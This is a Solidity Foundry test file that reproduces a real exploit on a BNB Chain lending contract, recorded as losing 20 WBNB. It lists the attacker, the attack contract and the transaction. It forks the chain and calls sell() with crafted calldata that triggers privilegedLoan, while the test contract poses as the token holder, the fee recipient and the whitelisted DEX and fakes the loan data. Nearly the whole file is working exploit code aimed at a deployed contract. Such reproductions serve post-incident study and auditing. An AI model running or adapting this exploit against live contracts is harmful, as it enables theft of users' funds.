src/test/2025-10/TokenHolder_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 20 WBNB
7// Attacker : https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088
8// Attack Contract : https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631
9// Vulnerable Contract : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117
10// Attack Tx : https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117#code
14 
15// @Analysis
16// Post-mortem : N/A
17// Twitter Guy : N/A
18// Hacking God : N/A
19pragma solidity ^0.8.0;
20 
21contract ExploitTemplate is BaseTestWithBalanceLog {
22    uint256 blocknumToForkFrom = 63856735 - 1;
23    BorrowerOperationsV6 borrowerOper = BorrowerOperationsV6(0x616B36265759517AF14300Ba1dD20762241a3828);
24    address WBNB = address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", blocknumToForkFrom);
28        fundingToken = WBNB;
29    }
30 
31    function testExploit() public balanceLog {
32        uint256 loadId = 0;
33        bytes memory sellingCode = abi.encodeWithSignature("privilegedLoan(address,uint256)", WBNB, 20 ether);
34        address tokenHolder = address(this);
35        address inchRouter = address(0x2EeD3DC9c5134C056825b12388Ee9Be04E522173);
36        address integratorFeeAddress = address(this);
37        address whitelistedDex = address(this);
38        borrowerOper.sell(loadId, sellingCode, tokenHolder, inchRouter, integratorFeeAddress, whitelistedDex);
39    }
40 
41    function loans(uint256 arg0) public returns(Loan memory) {
42        Collateral memory c = Collateral(WBNB, 0, 0, false, 0, 0, 0);
43        Loan memory l = Loan(0, 0, c, 0, 0, address(this), 0);
44        return l;
45    }
46 
47    function repayLoan(uint256 loadId, bool payInStablecoin) public {}
48 
49    function privilegedLoan(address flashLoanToken, uint256 amount) public {}
50}
51 
52struct Loan {
53    uint256 id;
54    uint256 amount;
55    Collateral collateral;
56    uint256 collateralAmount;
57    uint256 timestamp;
58    address borrower;
59    uint256 userPaid;
60}
61 
62 
63struct Collateral {
64    address collateralAddress;
65    uint256 maxLendPerToken;
66    uint256 interestRate;
67    bool active;
68    uint256 minAmount;
69    uint256 maxExposure;
70    uint256 currentExposure;
71}
72 
73interface BorrowerOperationsV6 {
74    function sell(uint256 loanId, bytes calldata sellingCode, address tokenHolder, address inchRouter, address integratorFeeAddress, address whitelistedDex) external payable;
75}